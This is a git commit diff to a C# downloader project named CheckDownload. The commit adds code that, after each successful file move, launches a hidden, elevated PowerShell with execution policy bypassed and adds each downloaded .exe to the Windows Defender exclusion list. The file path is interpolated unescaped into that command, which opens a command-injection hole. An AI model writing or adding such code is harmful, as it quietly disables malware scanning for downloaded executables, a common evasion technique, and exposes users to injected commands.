添加将.exe文件路径添加到Windows Defender排除项的功能,优化文件移动后的处理逻辑

This commit is contained in:
2025-06-30 01:10:47 +08:00
parent d10a3ba3ab
commit 0b8d48e714

View File

@@ -912,7 +912,14 @@ namespace CheckDownload
File.Move(tempFilePath, backupPath); File.Move(tempFilePath, backupPath);
filesForScripting.Add((localPath, backupPath)); filesForScripting.Add((localPath, backupPath));
} }
else
{
// 文件移动成功如果是exe则添加到信任区
if (localPath.EndsWith(".exe", StringComparison.OrdinalIgnoreCase))
{
AddToWindowsDefenderExclusion(localPath);
}
}
} }
finally finally
{ {
@@ -1631,6 +1638,44 @@ namespace CheckDownload
} }
} }
/// <summary>
/// 将指定的文件路径添加到Windows Defender的排除项中。
/// </summary>
/// <param name="filePath">要添加排除的.exe文件的完整路径。</param>
private void AddToWindowsDefenderExclusion(string filePath)
{
try
{
UpdateStatus($"添加 {Path.GetFileName(filePath)} 到信任区...");
var startInfo = new ProcessStartInfo
{
FileName = "powershell.exe",
Arguments = $"-NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath '{filePath}'\"",
Verb = "runas",
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true
};
using (var process = Process.Start(startInfo))
{
if (!process.WaitForExit(10000))
{
UpdateStatus($"添加信任超时: {Path.GetFileName(filePath)}");
}
else if (process.ExitCode != 0)
{
UpdateStatus($"添加信任失败: {Path.GetFileName(filePath)}");
}
}
}
catch (Exception)
{
UpdateStatus($"添加信任时出错: {Path.GetFileName(filePath)}");
}
}
/// <summary> /// <summary>
/// 从嵌入的资源中提取与当前进程体系结构匹配的7z.dll到临时目录。 /// 从嵌入的资源中提取与当前进程体系结构匹配的7z.dll到临时目录。
/// </summary> /// </summary>
@@ -1716,4 +1761,5 @@ namespace CheckDownload
catch { } catch { }
} }
} }
}
} }